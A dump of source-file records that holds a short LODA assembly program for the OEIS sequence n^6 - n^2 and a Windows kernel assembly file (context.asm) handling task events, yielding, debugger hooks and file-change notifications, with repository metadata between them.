00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.125
2,999
0.658315
835bfd62f109ff3c530e898f5bba69cbcf53627e
1,153
asm
Assembly
programs/oeis/136/A136008.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/136/A136008.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/136/A136008.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A136008: a(n) = n^6 - n^2. ; 0,0,60,720,4080,15600,46620,117600,262080,531360,999900,1771440,2985840,4826640,7529340,11390400,16776960,24137280,34011900,47045520,63999600,85765680,113379420,148035360,191102400,244140000,308915100,387419760,481889520,594822480,728999100,887502720,1073740800,1291466880,1544803260,1838264400,2176781040,2565725040,3010934940,3518742240,4095998400,4750102560,5489029980,6321361200,7256311920,8303763600,9474294780,10779213120,12230588160,13841284800,15624997500,17596285200,19770606960,22164358320,24794908380,27680637600,30840976320,34296444000,38068689180,42180530160,46655996400,51520370640,56800231740,62523498240,68719472640,75418886400,82653945660,90458377680,98867478000,107918158320,117648995100,128100278880,139314064320,151334220960,164206484700,177978510000,192699922800,208422374160,225199594620,243087449280,262143993600,282429529920,304006664700,326940366480,351298024560,377149508400,404567227740,433626193440,464404079040,496981283040,531440991900,567869243760,606354992880,646990174800,689869772220,735091881600,782757780480,832971995520,885842371260,941480139600 pow $0,2 mov $1,$0 pow $0,3 sub $0,$1
144.125
1,084
0.88118
f00fe17552bd7a979850e6387677c555c0487db5
40,006
asm
Assembly
base/mvdm/wow16/kernel31/context.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/wow16/kernel31/context.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/wow16/kernel31/context.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
page ,132 title CONTEXT - task event procedures. .xlist include gpfix.inc include kernel.inc include tdb.inc include pdb.inc ifdef WOW include vint.inc include wowcmpat.inc endif .list externFP CloseCachedFiles externFP Int21Handler externFP Far_real_dos externFP GlobalAlloc externFP GlobalFree externFP GlobalLock externFP GlobalUnlock externFP GetAppCompatFlags ifdef FE_SB externFP FarMyIsDBCSLeadByte endif ifdef WOW externFP IGetModuleFileName endif DataBegin externB Kernel_Flags externW cpLowHeap externW selLowHeap externW selHighHeap externW selWoaPdb externB InScheduler externB DOS_version externB DOS_revision externB lpszFileName ;externW pGlobalHeap externW winVer externW topPDB externW cur_dos_PDB externW Win_PDB externW curTDB externW WinFlags externW FileEntrySize externW shell_file_TDB externD shell_file_proc externD ptrace_DLL_entry externD ptrace_app_entry externD lpfnToolHelpProc externD dressed_for_success externB fTaskSwitchCalled externW LockTDB DataEnd sBegin CODE assumes ds,NOTHING assumes cs,CODE externD pYieldProc ifndef WOW externNP Reschedule externNP DeleteTask externNP InsertTask endif ; WOW ifdef WOW externFP MyGetAppWOWCompatFlagsEx endif ifndef WOW ;-----------------------------------------------------------------------; ; WaitEvent ; ; ; ; If an event is waiting on taskID, suspend the current task until ; ; an event is ready. Returns if an event was ready and no reschedule ; ; occured. Otherwise returns true to indicate a reschedule has occured.; ; ; ; Arguments: ; ; ; ; Returns: ; ; ; ; Error Returns: ; ; ; ; Registers Preserved: ; ; ; ; Registers Destroyed: ; ; ; ; Calls: ; ; ; ; History: ; ; ; ; Sat Mar 28, 1987 05:13:50p -by- David N. Weise [davidw] ; ; Wrote it. ; ;-----------------------------------------------------------------------; assumes ds, nothing assumes es, nothing cProc WaitEvent,<PUBLIC,FAR>,<bx,ds> parmW taskID cBegin push ds SetKernelDS cmp LockTDB, 0 ;Do we have a locked task jne @F ;Yes, we want to be able to reboot mov fTaskSwitchCalled, 1 ;Tell Reboot VxD that we're scheduling @@: pop ds mov ax,taskID call GetTaskHandle0 mov ds,ax xor ax,ax wait_test: pushf FCLI dec ds:[TDB_nEvents] jge wait_exit mov ds:[TDB_nEvents],0 ; go uncritical pop bx test bh,02 ; the interrupt flag jz leave_int_off FSTI leave_int_off: smov es, 0 .386 smov fs, 0 smov gs, 0 .286 push cs call Reschedule mov al,-1 jmp wait_test wait_exit: pop bx test bh,02 ; the interrupt flag jz leave_ints_off FSTI leave_ints_off: cEnd ;-----------------------------------------------------------------------; ; DirectedYield ; ; ; ; This does a yield and attempts to yield to the specific yo-yo. ; ; In reschedule is checked the event count of the target task, if ; ; non-zero then that task is started. Else the task queue is searched ; ; as normal. ; ; ; ; Arguments: ; ; parmW yield_to ; ; ; ; Returns: ; ; nothing ; ; ; ; Error Returns: ; ; ; ; Registers Preserved: ; ; All ; ; ; ; Registers Destroyed: ; ; ; ; Calls: ; ; ; ; History: ; ; ; ; Sat Mar 28, 1987 06:14:17p -by- David N. Weise [davidw] ; ; Fixed it for aaronr. ; ; ; ; Fri Feb 06, 1987 00:00:11a -by- David N. Weise [davidw] ; ; Wrote it for aaronr. ; ;-----------------------------------------------------------------------; assumes ds, nothing assumes es, nothing cProc DirectedYield,<PUBLIC,FAR> ; parmW yield_to cBegin nogen push bp mov bp,sp push ax push ds ; get rid of the argument on the stack mov ax,[bp][2] ; move IP up xchg [bp][4],ax xchg [bp][6],ax ; move CS up SetKernelDS mov ds,curTDB assumes ds,nothing mov ds:[TDB_Yield_to],ax ; ; Since this function is used by SendMessage() to switch directly ; to and from the destination app, we don't want to call USER to recieve ; any messages, since that causes unnecessary and inefficient recursion. ; ifdef DISABLE cmp ds:[TDB_QUEUE],0 pop ds pop ax pop bp jz dy_OldYield add sp,2 ; waste the space jmp cs:pYieldProc ; Jump through CS VARIABLE else pop ds pop ax pop bp endif dy_OldYield: add sp,2 ; waste the space jmps OldYield ; If no task queue, do OLD Yield. cEnd nogen ;-----------------------------------------------------------------------; ; Yield ; ; ; ; Does what it says. ; ; ; ; Arguments: ; ; ; ; Returns: ; ; ; ; Error Returns: ; ; ; ; Registers Preserved: ; ; ; ; Registers Destroyed: ; ; ; ; Calls: ; ; ; ; History: ; ; ; ; Sat May 09, 1987 12:21:13p -by- David N. Weise [davidw] ; ; Added this nifty comment block. ; ; ; ; Wed Apr 15, 1987 12:13:00p -by- Raymond E. Ozzie [-iris-] ; ; Changed Yield to work for tasks that don't ever do an INITAPP, and ; ; thus don't have a task queue. These are presumably tasks that do ; ; some sort of background computational activity that don't have a ; ; window associated with them. ; ; ; ;-----------------------------------------------------------------------; assumes ds, nothing assumes es, nothing cProc Yield,<PUBLIC,FAR> cBegin nogen push ds SetKernelDS mov ds,curTDB assumes ds, nothing mov ds:[TDB_Yield_to],0 cmp ds:[TDB_QUEUE],0 pop ds jz OldYield ; If no task queue, do OLD Yield. jmp cs:pYieldProc ; Pass to USER Jump through CS VARIABLE cEnd nogen assumes ds, nothing assumes es, nothing cProc OldYield,<PUBLIC,FAR>,<ds> cBegin SetKernelDS xor ax,ax cmp InScheduler,al ; can't yield if inside scheduler jnz yld3 ; just return false cmp CurTDB,0 ; did it kill itself? jz @F mov ds,CurTDB assumes ds, nothing inc ds:[TDB_nEvents] @@: smov es, ax .386 smov fs, ax smov gs, ax .286 push cs call Reschedule dec ds:[TDB_nEvents] mov ax,-1 ; TRUE yld3: cEnd endif ; !WOW assumes ds, nothing assumes es, nothing GetTaskHandle2: mov bx,sp mov ax,ss:[bx+8] mov bx,ss:[bx+6] jmps GetTaskHandle0 GetTaskHandle1: mov bx,sp mov ax,ss:[bx+6] GetTaskHandle0: or ax,ax jnz gt1 SetKernelDS es mov ax,curTDB gt1: mov es,ax assumes es, nothing ; cmp es:[TDB_sig],TDB_SIGNATURE ; jne gt2 ret ;gt2: kerror ERR_TASKID,<GetTaskHandle: Invalid task handle> ; ret ifndef WOW ;; ;; PostEvent( taskID ) - increment the event counter for a task. Return ;; false if invalid task handle passed. Otherwise return true, after ;; setting the scheduler flag that says a new task might be ready to ;; run. ;; assumes ds, nothing assumes es, nothing cProc PostEvent,<PUBLIC,FAR> ; parmW taskID cBegin nogen call GetTaskHandle1 inc es:[TDB_nEvents] ; indicate one more event ret 2 cEnd nogen endif ; !WOW ;------------------------------------------------------- ; ; Get the Task pull model event queue handle ; assumes ds, nothing assumes es, nothing cProc GetTaskQueue,<PUBLIC,FAR> ; parmW taskID cBegin nogen call GetTaskHandle1 mov ax,es:[TDB_queue] ret 2 cEnd nogen ;------------------------------------------------------- ; ; Get the Task pull model event queue handle into DS ; assumes ds, nothing assumes es, nothing cProc GetTaskQueueDS,<PUBLIC,FAR> cBegin nogen SetKernelDS mov ds,curTDB assumes ds, nothing mov ds,ds:[TDB_queue] ret cEnd nogen ;------------------------------------------------------- ; ; Get the Task pull model event queue handle into ES ; assumes ds, nothing assumes es, nothing cProc GetTaskQueueES,<PUBLIC,FAR> cBegin nogen SetKernelDS es mov es,curTDB assumes es,nothing mov es,es:[TDB_queue] ret cEnd nogen assumes ds, nothing assumes es, nothing cProc SetTaskSignalProc,<PUBLIC,FAR> ; parmW taskID ; parmD signalProc cBegin nogen mov bx,sp mov ax,ss:[bx+8] call GetTaskHandle0 mov ax,ss:[bx+4] mov dx,ss:[bx+6] xchg ax,es:[TDB_USignalProc].off xchg dx,es:[TDB_USignalProc].sel ret 6 cEnd nogen ;-------------------------------------------------------- ; ; Set (and Get) the Task pull model event queue handle ; assumes ds, nothing assumes es, nothing cProc SetTaskQueue,<PUBLIC,FAR> ; parmW taskID ; parmW hQueue cBegin nogen call GetTaskHandle2 mov ax,bx xchg ax,es:[TDB_queue] ret 4 cEnd nogen ifndef WOW ;-------------------------------------------------------- ; ; Set (and Get) Task Priority ; assumes ds, nothing assumes es, nothing cProc SetPriority,<PUBLIC,FAR> ; parmW taskID ; parmW newPri cBegin nogen call GetTaskHandle2 add bl,es:[TDB_priority] cmp bl,-32 jge stp1 mov bl,-32 stp1: cmp bl,15 jle stp2 mov bl,15 stp2: push bx mov bh,1 ; put at back of priority queue cmp es:[TDB_priority],bl ; SetPriority( 0 )? jne stp3 ; No, continue mov ax,es ; Yes, is this the current task? push ds SetKernelDS cmp ax,curTDB pop ds assumes ds, nothing je stp4 ; Yes, exit without doing anything mov bh,0 ; No, put at front of priority queue stp3: add bl,bh mov es:[TDB_priority],bl push bx push es cCall DeleteTask,<es> cCall InsertTask,<ax> pop es pop ax sub es:[TDB_priority],ah stp4: pop ax cbw ret 4 cEnd nogen endif ; WOW - the above code is not required in WOW ;; ;; Aaron Reynolds 7/20/87 - Added so folks like USER can ask if this is Winoldap ;; ;; IsWinoldapTask( taskID ) - Is this a Winoldap Task? ;; false if not a Winoldap task, else true ;; This works by returning the low bit in the Global Heap pointer of the task's ;; PDB. Nobody in KERNEL sets this bit (it is always initialized to 0). It is ;; up to WINOLDAP to mark its tasks by setting the low bit itself. ;; assumes ds, nothing assumes es, nothing cProc IsWinoldapTask,<PUBLIC,FAR> ; parmW taskID cBegin nogen ifdef WOW xor ax, ax ; always return false else call GetTaskHandle1 mov es,es:[TDB_PDB] ; Get PDB pointer from task handle mov ax,word ptr es:[PDB_GlobalHeap] ; Get low word of Global heap ptr and ax,0000000000000001B ; Mask to low bit endif ret 2 cEnd nogen ;----------------------------------------------------------------------------; ; IsTask ; ; OLE 1.0 DLLs check whether the task they are talking to is a genuine one ; or not. This they do by calling IsTask(). So, I look for -1 as the hTask, ; which was returned from GetWindowTask() as BOGUSGDT for the 32 bit tasks ; and for the 16 bit tasks a correct value was returned. ; ; So, if we find hTask on this function as -1, we should return TRUE to ; keep OLE DLLs happy. ; ; ChandanC Feb 9th 1993. ; ;----------------------------------------------------------------------------; ; Validate a task handle ; davidds cProc IsTask,<PUBLIC, FAR> ; parmW taskID cBegin nogen mov bx,sp mov ax,ss:[bx+4] or ax,ax jz IT_err ifdef WOW test al, 0100b ; Check for task aliases (see WOLE2.C) or BOGUSGDT jnz task_check task_ok: mov ax, 1 jmp SHORT IT_exit task_check: endif .286p lsl bx,ax jnz IT_err cmp bx,size TDB jl IT_err mov es,ax cmp es:[TDB_sig],TDB_SIGNATURE jne IT_err jmp short IT_exit IT_err: xor ax,ax IT_exit: ret 2 cEnd nogen ;-----------------------------------------------------------------------; ; CVW_Hack ; ; This is a little hack for the next rev of CVW. This is a cheap ; way to break into an app just before it really starts up. We ; call off to the ptrace DLL and then jump off to the real entry ; point. ; ; Entry: ; none ; ; Returns: ; none ; ; Registers Preserved: ; all ; ; Registers Destroyed: ; ; History: ; ; Mon 27-Feb-1989 20:22:06 -by- David N. Weise [davidw] ; Wrote it. ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc CVW_Hack,<PUBLIC,FAR> cBegin nogen sub sp, 4 ;** See if we should call the TOOLHELP hook first push ds SetKernelDS test Kernel_Flags[2],KF2_TOOLHELP ;TOOLHELP.DLL? jz st_NoToolHelp ;Nope push ax ;Save regs we use push cx push bx push Win_PDB ; Preserve Win_TDB across ToolHelp call cmp curTDB,0 jz @F push es mov es,curTDB push es:[TDB_PDB] pop ds:Win_PDB pop es @@: mov ax,SDM_LOADTASK mov bx,WORD PTR ptrace_app_entry[0] ;Task start address in CX:DX mov cx,WORD PTR ptrace_app_entry[2] call lpfnToolHelpProc ;Do it pop Win_PDB pop bx pop cx pop ax ;** Since we got here, we know that at least one of the two ;** (WINDEBUG, TOOLHELP) or both are here. Since we know ;** TOOLHELP is here, we still need to check for WINDEBUG. ;** If it's here, act as if TOOLHELP were not cmp WORD PTR ptrace_DLL_entry[2],0 ;WINDEBUG present? jnz st_NoToolHelp ;Yes, give it a turn ;** Since we have no one else to call, simply start the task ;** Stack: AX[-2] BP[0] DS[2] RETFIP[4] RETFCS[6] push bp mov bp,sp push ax mov ax,WORD PTR ptrace_app_entry[0] ;Get the IP value mov [bp + 4],ax ;Put in place of RETFIP mov ax,WORD PTR ptrace_app_entry[2] ;Get the CS value mov [bp + 6],ax ;Put in place of RETFCS pop ax ;Clean up and start up the task pop bp pop ds retf st_NoToolHelp: pop ds add sp, 4 ;** Now call CVW's hook (WINDEBUG.DLL) push ax push bx push cx push ds mov bx,ds SetKernelDS push ptrace_app_entry.sel ; push real app entry point push ptrace_app_entry.off push cs ; push return to return push codeOffset cvwh_clever push ptrace_DLL_entry.sel ; push call into ptrace push ptrace_DLL_entry.off push ptrace_app_entry.sel push ptrace_app_entry.off mov ds,bx UnsetKernelDS mov ax,59h pop bx pop cx retf ; 'call' ptrace cvwh_clever: mov bx,sp mov ax,ss:[bx].10 mov cx,ss:[bx].06 mov bx,ss:[bx].08 retf 8 ; return to real entry point cEnd nogen ;-----------------------------------------------------------------------; ; FileCDR_notify ; ; ; Entry: ; ; Returns: ; ; Registers Destroyed: ; ; History: ; Thu 08-Jun-1989 17:04:49 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc FileCDR_notify,<PUBLIC,FAR>,<ax,bx,cx,dx,si,di,ds,es> localW hHunkOMemory localD lpDestFile cBegin mov hHunkOMemory, 0 ; Handle/flag for RENAME mov SEG_lpDestFile, es mov OFF_lpDestFile, di mov si,dx ; DS:SI points to [source] file SetKernelDS es cmp word ptr shell_file_proc[2],0 jnz @F fcdr_no_exitj: jmp fcdr_no_exit @@: mov di,dataOffset lpszFileName ; Where we will copy filename cmp ah, 56h ; RENAME? jne fcdr_no_alloc mov ax, 256 ; Get enough for two filenames xor bx, bx mov cx, (GA_SHAREABLE SHL 8)+GA_MOVEABLE+GA_NOCOMPACT+GA_NODISCARD cCall GlobalAlloc,<cx, bx, ax> or ax, ax jz fcdr_no_exitj mov hHunkOMemory, ax cCall GlobalLock,<ax> mov es, dx UnSetKernelDS es mov di, ax mov ah, 56h fcdr_no_alloc: cld push ax ; push arguments to call push es push di cmp byte ptr ds:[si][1],':' jnz nodrive ifdef FE_SB mov al, byte ptr ds:[si][0] call FarMyIsDBCSLeadByte jnc nodrive endif lodsb inc si or al,20h ; convert to lower case sub al,'a' ; convert to number jmps gotdrive nodrive: mov ah,19h DOSCALL gotdrive: mov dl,al inc dl add al,'A' ; convert to ascii mov ah,':' stosw mov bx,'/' shl 8 + '\' mov al,ds:[si] cmp al,bh jz getpath cmp al,bl jz getpath mov al,bl stosb mov cx,ds xchg si,di smov ds,es mov ah,47h DOSCALL mov ds,cx xchg si,di xor al,al ifdef FE_SB ; seek pointer to final byte of path. xor ah,ah ; flag to indicate last char is dbc bsl_1: mov al,es:[di] test al,al ; end of string? jz bsl_2 ; jump if so inc di xor ah,ah call FarMyIsDBCSLeadByte ; DBC? jc bsl_1 ; jump if not inc ah ; indicate 'DBC' jmp bsl_1 bsl_2: test ah,ah ; last char is DBC? jnz getpath ; yes - don't test '\/' else mov cx,-1 repnz scasb dec di endif mov al,es:[di-1] cmp al,bh je getpath cmp al,bl je getpath mov al,bl stosb getpath: @@: lodsb or al,al stosb jnz @B cmp hHunkOMemory, 0 jz no_second_file lds si, lpDestFile ; Tack destination file name copy_second: ; after source file name lodsb stosb or al, al jnz copy_second no_second_file: SetKernelDS es if KDEBUG call shell_file_proc else ; KDEBUG ; ; The call to shell_file_proc can blow up if the variable has not ; been updated properly, and we generate an invalid call fault. ; beg_fault_trap bad_shell_file_proc call shell_file_proc jmps good_shell_file_proc bad_shell_file_proc: fault_fix_stack ; ; If shell_file_proc has a bad non-zero value, then zero it out ; so USER doesn't get confused. ; xor si,si mov word ptr [shell_file_proc],si mov word ptr [shell_file_proc+2],si end_fault_trap good_shell_file_proc: endif ; KDEBUG mov si, hHunkOMemory ; Free up memory if necessary or si, si jz fcdr_no_exit cCall GlobalUnlock,<si> cCall GlobalFree,<si> fcdr_no_exit: cEnd ;-----------------------------------------------------------------------; ; InitTask1 ; ; ; Entry: ; ; Returns: ; ; Registers Destroyed: ; ; History: ; Sun 04-Feb-1990 23:47:37 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc InitTask1,<PUBLIC,FAR> ; parmD callback cBegin nogen mov bx,sp push ds SetKernelDS mov ax,ss:[bx].4 mov dressed_for_success.off,ax mov ax,ss:[bx].6 mov dressed_for_success.sel,ax pop ds ret 4 cEnd nogen ifdef WOW ;-----------------------------------------------------------------------; ; IsTaskLocked ; ; ; ; Another hack procedure to determine if the current task is locked. ; ; A non-NULL value is returned if the task is locked and NULL is ; ; returned is the task is not locked. ; ; ; ; This will always return null, because we will always have more than ; ; one WOW app. (wowexec is always running ; ; ; ; This api is used by QuickC ; ; - Nanduri ; ;-----------------------------------------------------------------------; assumes ds, nothing assumes es, nothing cProc IsTaskLocked,<PUBLIC,FAR> cBegin nogen xor ax,ax ret cEnd nogen endif ; WOW assumes ds, nothing assumes es, nothing cProc GetVersion,<PUBLIC,FAR> cBegin nogen push ds SetKernelDS cCall GetAppCompatFlags,<0> test dx, HIW_GACF_WINVER31 jz gv0 mov ax, 0a03h ; Win ver 3.10 if app hack set jmps gv1 gv0: mov ax, 5f03h ; Win ver 3.95 ; mov ax,winVer ; xchg ah,al gv1: mov dh,DOS_version mov dl,DOS_revision pop ds UnSetKernelDS ret cEnd nogen sEnd CODE sBegin MISCCODE assumes cs, misccode assumes ds, nothing assumes es, nothing ExternNP MISCMapDStoDATA ;-----------------------------------------------------------------------; ; ; SetErrorMode - set the current task's error mode ; ; Entry: ; parmW errMode 0001h = fail critical errors to app ; 0002h = don't put up pmode fault message ; 8000h = don't promt for file in OpenFile ; ; Returns: ; AX = old flags ; ; History: ; Sun 11-Feb-1990 19:01:12 -by- David N. Weise [davidw] ; Added this nifty comment block. ;-----------------------------------------------------------------------; assumes ds, nothing assumes es, nothing cProc ISetErrorMode,<PUBLIC,FAR> parmW errMode cBegin cCall MISCMapDStoDATA ResetKernelDS mov ax,errMode mov ds,CurTDB UnSetKernelDS xchg ds:[TDB_ErrMode],ax cEnd ;-----------------------------------------------------------------------; ; GetWinFlags ; ; Gets the WinFlags for those wimps that can't import ; __WinFlags properly! ; ; Entry: ; none ; ; Returns: ; AX = WinFlags ; ; History: ; Wed 05-Jul-1989 20:19:46 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc GetWinFlags,<PUBLIC,FAR> cBegin nogen push ds cCall MISCMapDStoDATA ResetKernelDS ; Comment out this app hack since toolbook is no longer hacked... ; above is from Win95 source, why is toolbook no longer hacked? -DaveHart xor ax, ax push ax ; NULL => current task cCall GetAppCompatFlags test ax, GACF_HACKWINFLAGS mov ax,WinFlags jz @f ifdef WOW ; fixes toolbook for WOW -BobDay ; and ah, not ( WF1_WINNT or WF1_PAGING ) and ah, not WF1_WINNT ; fixes some apps that think they can't run on NT else and ah, not WF1_PAGING ; fixes toolbook endif @@: xor dx,dx pop ds ret cEnd nogen ;-------------------------------------------------------- ; ; GetExeVersion - return the current task's expected Windows version ; assumes ds, nothing assumes es, nothing cProc GetExeVersion,<PUBLIC,FAR> cBegin nogen push ds call MISCMapDStoDATA ReSetKernelDS mov ds, CurTDB UnSetKernelDS mov ax, ds:[TDB_ExpWinVer] pop ds ret cEnd nogen ifndef WOW ;-----------------------------------------------------------------------; ; WinOldApCall ; ; ; ; This gives WinOldAp the information it needs to run in Expanded ; ; Memory. ; ; ; ; Arguments: ; ; none ; ; ; ; Returns: ; ; (Real Mode) ; ; BX = XMS Handle of segment cache block ; ; CX = Size (in K bytes) of segment cache block ; ; DS:SI = pointer to original Int 21h handler ; ; DI = DOS System File Table Entry size ; ; ; ; (Protected Mode) ; ; AX = Selector to low (lower 640k) heap block ; ; BX = paragraph count of low heap block ; ; CX = Selector to high (above 1024k & HMA) heap block ; ; DX = Selector to fixed low PDB block for WOA use ; ; DS:SI = pointer to original Int 21h handler ; ; DI = DOS System File Table Entry size ; ; ; ; Error Returns: ; ; ; ; Registers Preserved: ; ; ; ; Registers Destroyed: ; ; ; ; Calls: ; ; nothing ; ; ; ; History: ; ; ; ; Wed Mar 25, 1987 03:03:57p -by- David N. Weise [davidw] ; ; Wrote it. ; ;-----------------------------------------------------------------------; assumes ds, nothing assumes es, nothing cProc WinOldApCall,<PUBLIC,FAR> ; parmW func cBegin nogen push ds call MISCMapDStoDATA ReSetKernelDS mov bx,sp ; check function code cmp word ptr ss:[bx+6],0 ; 0 - get WOA info call jz get_info ; !0 - close cached files call push Win_PDB ; Save current PDB cCall CloseCachedFiles,<topPDB> ; close the cached files--really pop Win_PDB ; 'Set' it back ;;; mov bx, Win_PDB ;;; mov ah, 50h ; Reset the PDB ;;; call far_real_DOS ;;; mov cur_dos_PDB, bx ; Keep variables in sync jmps woa_exit ; closes them when passed topPDB get_info: mov ax,selLowHeap mov bx,cpLowHeap mov cx,selHighHeap mov dx,selWoaPdb mov di,FileEntrySize ;DOS version specific SFT entry size woa_exit: pop ds ret 2 cEnd nogen endif ;-----------------------------------------------------------------------; ; RegisterPtrace ; ; The ptrace engine DLL gets calls on behalf of the KERNEL. ; ; Entry: ; ; Returns: ; ; Registers Destroyed: ; ; History: ; Fri 02-Feb-1990 23:41:54 -by- David N. Weise [davidw] ; We'll get this right one of these days. ; ; Mon 27-Feb-1989 20:22:06 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc RegisterPtrace,<PUBLIC,FAR> ; parmD ptrace_proc cBegin nogen push ds call MISCMapDStoDATA ReSetKernelDS mov bx,sp or Kernel_flags[2],KF2_PTRACE mov ax,ss:[bx][6] mov ptrace_DLL_entry.off,ax or ax,ss:[bx][8] ; is there one? mov ax,ss:[bx][8] mov ptrace_DLL_entry.sel,ax jnz rp_done ;** If TOOLHELP's still installed, we don't really want to clear the ;** flag. If it's unhooked, clear the flag test Kernel_flags[2], KF2_TOOLHELP jnz rp_done and Kernel_flags[2],NOT KF2_PTRACE rp_done: pop ds ret 4 cEnd nogen ;-----------------------------------------------------------------------; ; ToolHelpHook ; ; Allows TOOLHELP.DLL to get PTrace notifications BEFORE the ; normal PTrace hook used by WINDEBUG.DLL. The WINDEBUG.DLL ; hook is now obsolete and is maintained only for backward ; compatibility. ; ; TOOLHELP calls this function with a valid lpfn or with NULL ; when it is ready to unhook. ; ; July 25, 1991 [jont] ;-----------------------------------------------------------------------; cProc ToolHelpHook,<PUBLIC,FAR>, <ds,si,di> parmD lpfn cBegin SetKernelDSMisc ;** Set/clear the ToolHelp hook installed flag + we also set the ;* PTrace flag because the ToolHelp hook is just a new ;* PTrace hook. We can only clear it, though, if BOTH PTrace ;** hooks are now clear. or Kernel_Flags[2],KF2_TOOLHELP OR KF2_PTRACE ;Set the flags mov ax,WORD PTR lpfn[0] ;Get the offset mov dx,WORD PTR lpfn[2] ; and the selector mov bx,ax ;Get a copy to trash or bx,dx ;NULL? jnz THH_Installed ;No and Kernel_Flags[2],NOT KF2_TOOLHELP ;Clear the flag cmp WORD PTR ptrace_dll_entry[2],0 ;WINDEBUG.DLL lurking? jnz THH_Installed ;Yes, don't clear PTrace flag and Kernel_Flags[2],NOT KF2_PTRACE ;Clear the flag THH_Installed: ;** Install the hook and return the old one xchg ax,WORD PTR lpfnToolHelpProc[0] xchg dx,WORD PTR lpfnToolHelpProc[2] cEnd ;-----------------------------------------------------------------------; ; FileCDR ; ; Allows the shell to set a procedure that gets called when ; a file or directory is created, moved, or destroyed. ; ; Entry: ; parmD lpNotifyProc call back function ; ; Returns: ; AX != 0 success ; ; History: ; Mon 05-Jun-1989 22:59:33 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc FileCDR,<PUBLIC,FAR> ; parmD lpNotifyProc cBegin nogen mov bx,sp push ds call MISCMapDStoDATA ReSetKernelDS mov ax,ss:[bx][6] cmp ax,-1 ; is sel == -1, return current jne @F ; proc mov ax,shell_file_proc.off mov dx,shell_file_proc.sel jmps fcdr_exit @@: xchg shell_file_proc.sel,ax or ax,ax jz @F mov cx,curTDB cmp cx,shell_file_TDB jnz fcdr_error @@: mov ax,ss:[bx][4] mov shell_file_proc.off,ax mov ax,curTDB mov shell_file_TDB,ax mov ax,1 jmps fcdr_exit fcdr_error: xchg shell_file_proc.sel,ax ; replace what was there xor ax,ax fcdr_exit: pop ds UnSetKernelDS retf 4 cEnd nogen sEnd MISCCODE end
30.632466
84
0.415088
9b71be382e9c5605cb992d7e39ba090b45e7c69f
355
asm
Assembly
programs/oeis/267/A267522.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
